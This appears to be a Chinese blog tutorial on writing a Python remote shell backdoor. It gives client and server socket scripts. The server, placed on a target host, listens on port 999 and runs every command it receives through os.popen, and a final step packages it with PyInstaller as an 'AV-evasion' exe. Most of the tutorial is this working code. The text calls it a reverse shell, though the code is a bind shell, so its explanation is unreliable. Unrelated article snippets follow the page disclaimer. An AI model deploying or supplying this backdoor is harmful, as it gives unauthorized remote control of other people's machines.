Python 渗透测试:反弹 shell (反弹 后门 || 程序免杀)

什么叫 反弹 shell

反弹 shell (Reverse Shell) 是一种常见的渗透测试技术,它指的是受害者主机主动连接攻击者的主机,从而让攻击者获得对受害者主机的控制权。在一个典型的反弹 shell 攻击中,攻击者会在自己的主机上监听一个特定的端口,然后诱使目标主机主动连接到这个端口。当目标主机与攻击者的主机建立连接后,攻击者就可以通过这个连接获得目标主机的 shell 访问权限,从而进行进一步的渗透和控制。


目录:

什么叫 反弹 shell

反弹 shell 的工作原理如下:

反弹 shell 编写:

(1)基本知识:

客户端(后执行):

服务端(先运行服务端):

(2)执行命令,发送和接收命令.

客户端(后执行):

服务端(先运行服务端):

(3)实战 执行命令,发送和接收命令.

客户端(后执行):

服务端(把这个 Python 程序 拿到服务端执行):

(4)实战 执行命令,发送多条命令去服务端执行并返回执行后的结果.

客户端(后执行):

服务端(把这个 Python 程序 拿到服务端执行):

(5)如果 服务端没有 Python 环境,则需要打包为 exe 程序.(加做免杀)

服务端(把这个程序 拿到服务端执行):

客户端(后执行):


基础知识:

Python 的 socket 网络通讯图.(有涉及到通信都涉及到socket.)


反弹 shell 的工作原理如下:

(1)攻击者在自己的主机上监听一个特定的端口,等待目标主机的连接.

(2)攻击者在目标主机上执行一段代码,让目标主机主动连接到攻击者的主机.

(3)当连接建立后,攻击者就可以通过这个连接获得目标主机的 shell 访问权限.

反弹 shell 编写:

(1)基本知识:

客户端(后执行):
import socket 

# 客户端
# 连接服务段的地址和端口
# 输入命令发送执行
# 回显命令执行结果

s=socket.socket()                   # 建立 socket 
s.connect(("127.0.0.1",999))        # 连接
#cmd=input("请输入要执行的命令:")
s.send("ok".encode())               # 发送 .encode() 是编码的意思(发送比特流数据)
服务端(先运行服务端):
import socket

# 服务端
# 绑定监听端口
# 接收发送的数据
# 数据进行命令执行
# 结果进行发送过去

s=socket.socket()                 # 建立 socket
s.bind(("0.0.0.0",999))           # 绑定 当前地址
s.listen(5)                       # 监听:最多 5 个终端
sss,add=s.accept()                # 被动接受客户端的连接,等待连接的到来.
data=sss.recv(1024).decode()      # 接收数据, .decode 解码比特流数据.
print(data)                       # 接收数据,然后打印出来.


(2)执行命令,发送和接收命令.

客户端(后执行):
import socket 

# 客户端
# 连接服务段的地址和端口
# 输入命令发送执行
# 回显命令执行结果

s=socket.socket()                   # 建立 socket 
s.connect(("127.0.0.1",999))        # 连接
cmd=input("请输入要执行的命令:")     # 输入我们要执行的命令.
s.send(cmd.encode())                # cmd 是执行的命令
data=s.recv(1024).decode()          # 接收的这里用写1024的,然后 decode 解码比特流数据.
print(data)                         # 再把数据打印
服务端(先运行服务端):
import socket,os

# 服务端
# 绑定监听端口
# 接收发送的数据
# 数据进行命令执行
# 结果进行发送过去

s=socket.socket()                   # 建立 socket
s.bind(("0.0.0.0",999))             # 绑定 当前地址
s.listen(5)                         # 监听:最多 5 个终端
sss,add=s.accept()                  # 被动接受客户端的连接,等待连接的到来.
data=sss.recv(1024).decode()        # 接收数据, .decode 解码比特流数据.
s=os.popen(data).read()             # popen() 去执行这个结果,read()用来读取这个格式
sss.send(s.encode())                # send()把结果发送到客户端,encode()把发送数据要进行编码


(3)实战 执行命令,发送和接收命令.

客户端(后执行):
import socket 

# 客户端
# 连接服务段的地址和端口
# 输入命令发送执行
# 回显命令执行结果

s=socket.socket()                   # 建立 socket 
s.connect(("172.16.10.19",999))     # 连接( IP地址 写服务端的 IP地址 )
cmd=input("请输入要执行的命令:")     # 输入我们要执行的命令.
s.send(cmd.encode())                # cmd 是执行的命令
data=s.recv(1024).decode()          # 接收的这里用写1024的,然后 decode 解码比特流数据.
print(data)                         # 再把数据打印
服务端(把这个 Python 程序 拿到服务端执行):
import socket,os

# 服务端
# 绑定监听端口
# 接收发送的数据
# 数据进行命令执行
# 结果进行发送过去

s=socket.socket()                   # 建立 socket
s.bind(("0.0.0.0",999))             # 绑定 当前地址
s.listen(5)                         # 监听:最多 5 个终端
sss,add=s.accept()                  # 被动接受客户端的连接,等待连接的到来.
data=sss.recv(1024).decode()        # 接收数据, .decode 解码比特流数据.
s=os.popen(data).read()             # popen() 去执行这个结果,read()用来读取这个格式
sss.send(s.encode())                # send()把结果发送到客户端,encode()把发送数据要进行编码


(4)实战 执行命令,发送多条命令去服务端执行并返回执行后的结果.

客户端(后执行):
import socket 

# 客户端
# 连接服务段的地址和端口
# 输入命令发送执行
# 回显命令执行结果

ip=input("请输入服务端的 IP 地址:")

s=socket.socket()                   # 建立 socket 
s.connect((ip,999))                 # 连接
while True:                             # 写个循环,让他为真(他就可以一直输入命令)
    cmd=input("请输入要执行的命令:")     # 输入我们要执行的命令.
    s.send(cmd.encode())                # cmd 是执行的命令
    data=s.recv(1024).decode()          # 接收的这里用写1024的,然后 decode 解码比特流数据.
    print(data)                         # 再把数据打印

s.close()                               # 不为真的就关闭.(不执行就关闭)
服务端(把这个 Python 程序 拿到服务端执行):
import socket,os

# 服务端
# 绑定监听端口
# 接收发送的数据
# 数据进行命令执行
# 结果进行发送过去

s=socket.socket()                   # 建立 socket
s.bind(("0.0.0.0",999))             # 绑定 当前地址
s.listen(5)                         # 监听:最多 5 个终端
while True:                         # 写个循环,让他为真(他就可以一直执行命令和返回命令)
    sss,addr=s.accept()                  # 被动接受客户端的连接,等待连接的到来.
    while True:                         # 如果这里不加循环,上面的结果执行一次后,连接就会关闭。所以要让他一直保持开的状态.(为真 )
        data=sss.recv(1024).decode()        # 接收数据, .decode 解码比特流数据.
        s=os.popen(data).read()             # popen() 去执行这个结果,read()用来读取这个格式
        sss.send(s.encode())                # send()把结果发送到客户端,encode()把发送数据要进行编码

s.close()                           #  # 不为真的就关闭.(不执行就关闭)

(5)如果 服务端没有 Python 环境,则需要打包为 exe 程序.(加做免杀)

1.py 就是服务端代码:

pip install pyinstaller            // 下载 pyinstaller 

pyinstaller -F 1.py                // 1.py是要打包的exe文件,

!!!记得打包成功后 exe 文件在当前目录的 dist 下.

 

服务端(把这个程序 拿到服务端执行):


客户端(后执行):
import socket 

# 客户端
# 连接服务段的地址和端口
# 输入命令发送执行
# 回显命令执行结果

ip=input("请输入服务端的 IP 地址:")

s=socket.socket()                   # 建立 socket 
s.connect((ip,999))                 # 连接
while True:                             # 写个循环,让他为真(他就可以一直输入命令)
    cmd=input("请输入要执行的命令:")     # 输入我们要执行的命令.
    s.send(cmd.encode())                # cmd 是执行的命令
    data=s.recv(1024).decode()          # 接收的这里用写1024的,然后 decode 解码比特流数据.
    print(data)                         # 再把数据打印

s.close()                               # 不为真的就关闭.(不执行就关闭)

   

   

  

学习链接:第158天:安全开发-Python-Socket编程&反弹Shell&分离免杀&端口探针&域名爆破_哔哩哔哩_bilibili

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/631347.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

react18【系列实用教程】useReducer —— 升级版的 useState (2024最新版)

useReducer 可看做升级版的 useState ,其强大之处在于,可以自定义复杂的响应式变量修改逻辑。 useReducer 语法 useReducer 是 hook 函数 第一个参数(必要): 自定义的 reducer 函数(详见下文介绍&#xff…

图片转base64【Vue + 纯Html】

1.template <el-form-item label"图片"><div class"image-upload-container"><input type"file" id"imageUpload" class"image-upload" change"convertToBase64" /><label for"imageU…

AI图书推荐:ChatGPT 和Power BI驱动未来金融投资变革

《ChatGPT 和Power BI驱动未来金融变革》&#xff08;The Future of Finance with ChatGPT and Power BI&#xff09;由James Bryant和Aloke Mukherjee撰写&#xff0c;探讨了ChatGPT和Power BI在金融领域的应用。 主要特点&#xff1a; - 使用ChatGPT自动化Power BI&#xff…

工厂数字化解决方案

在数字化浪潮席卷全球的今天&#xff0c;工业4.0已不再是遥不可及的梦想&#xff0c;而是制造业转型升级的必由之路。面对日益激烈的市场竞争和消费者需求的快速变化&#xff0c;传统工厂如何借助数字化技术实现智能化、高效化、柔性化生产&#xff0c;成为了摆在每一个企业面前…

创新指南 | 企业AI战略实施方案探讨(下):如何基于AI重构业务流程并落地实施

人工智能&#xff08;AI&#xff09;的浪潮已经席卷全球&#xff0c;成为推动现代企业发展的强大动力。AI技术不仅提升了企业的运营效率&#xff0c;还催生了新的商业模式和市场机会。本文将深入探讨AI的革新性应用案例&#xff0c;并提供一套企业落地AI的具体实施方案&#xf…

一次tomcat闪退处理

双击tomcat目录下bin目录中startup.bat 在我的电脑上是一闪而过&#xff0c;不能正常地启动tomcat软件 以记事本打开startup.bat文件&#xff0c;在文件的结尾处加上pause 然后再双击该bat执行&#xff0c;此时窗口就不会关闭&#xff0c;并会将错误信息打印在提示框中 可能是…

信息系统项目管理师0601:项目立项管理 — 考点总结(可直接理解记忆)

点击查看专栏目录 项目立项管理 — 考点总结(可直接理解记忆) 1.项目建议书(又称立项申请)是项目建设单位向上级主管部门提交项目申请时所必须的文件,是对拟建项目提出的框架性的总体设想。在项目建议书批准后,方可开展对外工作(掌握)。 2.项目建议书应该包括的核心内…

绝地求生:PGS3参赛队伍跳点一览,17压力有点大,4AM与PeRo大概率不roll点

在PCL春季赛结束后&#xff0c;PGS3的参赛队伍名单以及分组就正式确定了&#xff0c;最后确定名额的DDT和NH被安排在了A组和B组&#xff0c;感觉这次PGS3的分组比较均衡&#xff0c;没有“死亡之组”一说。这段时间已经有网友汇总了PGS3队伍在各个地图的跳点&#xff0c;并且把…

总结!AI Agent开发的常见方法

全球首位AI程序员Devin诞生了&#xff0c;还是个全栈工程师&#xff0c;能够熟练进行云端部署、编写底层代码、改bug、甚至连训练和微调AI大模型都轻车熟路&#xff0c;说好的AI替代人类&#xff0c;难道先从程序员下手了&#xff1f; 实际上用AI打造程序员并不是那么新鲜的事情…

读人工智能时代与人类未来笔记04_理性时代

1. 理性时代 1.1. 康德在《永久和平论》一文中带着些许的怀疑主义提出&#xff0c;和平可以通过应用达成一致的规则管理独立国家之间的关系来实现 1.2. 理性则借助高等理论物理学的形式&#xff0c;开始进一步探索康德的“自在之物”&#xff0c;并产生…

Leetcode—3148. 矩阵中的最大得分【中等】

2024每日刷题&#xff08;137&#xff09; Leetcode—3148. 矩阵中的最大得分 算法思想 实现代码 class Solution { public:int maxScore(vector<vector<int>>& grid) {int m grid.size();int n grid[0].size();int ans INT_MIN;vector<vector<int&…

RocketMQ-Dashboard 控制台使用详解

1 安装部署 具体部署启动请参考&#xff1a;RocketMQ从安装、压测到运维一站式文档_rocketmq benchmark压测-CSDN博客 RocketMq的dashboard&#xff0c;有运维页面&#xff0c;驾驶舱&#xff0c;集群页面&#xff0c;主题页面&#xff0c;消费者页面&#xff0c;生产者页面&…

2D Chests Assets - Mega Pack

科幻/奇幻/经典主题的箱子和容器。AAA质量,高分辨率,VFX,源PSD文件。 这是一个带有手绘套装的大包装: -【梦幻之栗】 -【科幻钱包】 AAA质量。高分辨率。一切都已准备就绪,可供使用。包括PSD文件。 在1.1版本中添加了VFX并将项目更新为URP。请注意,新的VFX仅适用于URP/HD…

ModuleNotFoundError: No module named ‘sklearn‘

ModuleNotFoundError: No module named sklearn 解决办法&#xff1a; pip install scikit-learn

GitHub配置SSH协议|什么是SSH

前言 之前用云服务器和GitHub的时候&#xff0c;因为比较懒一直没有配置过ssh。随着最近项目的迫在眉睫&#xff0c;通过Vs Code链接服务器和从GitHub白嫖代码的频率的大幅增加&#xff0c;拒绝接触新事物鼠鼠我只好转求ssh。此篇文章记录了我自己创建ssh密钥、配置ssh密钥的步…

每日5题Day2 - LeetCode 6 - 10

每一步向前都是向自己的梦想更近一步&#xff0c;坚持不懈&#xff0c;勇往直前&#xff01; 第一题&#xff1a;6. Z 字形变换 - 力扣&#xff08;LeetCode&#xff09; class Solution {public String convert(String s, int numRows) {//特殊情况的判定if(numRows < 2){…

联合新能源汽车有限公司出席2024年7月8日杭州快递物流展

参展企业介绍 青岛联合新能源汽车有限公司&#xff08;简称&#xff1a;联合汽车&#xff09;&#xff0c;是一家专注于纯电动汽车领域创新的科技公司&#xff0c;在国内率先提出车电分离&#xff0c;电池标准化并共享的方案&#xff0c;研发了包含标准电池、电池仓、可换电纯电…

DiffusionModel-DDIM推导+代码详解

视频deep_thoughts 论文https://arxiv.org/abs/2010.02502 参考https://blog.csdn.net/weixin_47748259/article/details/137018607 DDPM生成过程就是把每一步都看作高斯分布的形式&#xff0c;所以采样过程和前向加噪过程的链条长度是一致的。DDIM就是在思考能不能够加速这个采…

现货正泰漏电小型断路器NXB-32LE-C16 30MA1P+N原装正品NXB-40L

品牌&#xff1a;CHNT/正泰 型号&#xff1a;NXBLE 额定电流&#xff1a;25A,16A,20A,40A,32A 漏电保护器类型&#xff1a;2P 产地&#xff1a;中国大陆 电压&#xff1a;1000V及以下 极数&#xff1a;3P,4p,2P,1PN 电源方式&#xff1a;交流电 3C证书编号&#xff1a;…

【顺序程序设计-谭浩强适配】(适合专升本、考研)

无偿分享学习资料&#xff0c;需要的小伙伴评论区或私信dd。。。 无偿分享学习资料&#xff0c;需要的小伙伴评论区或私信dd。。。 无偿分享学习资料&#xff0c;需要的小伙伴评论区或私信dd。。。 完整资料如下&#xff1a;纯干货、纯干货、纯干货&#xff01;&#xff01;…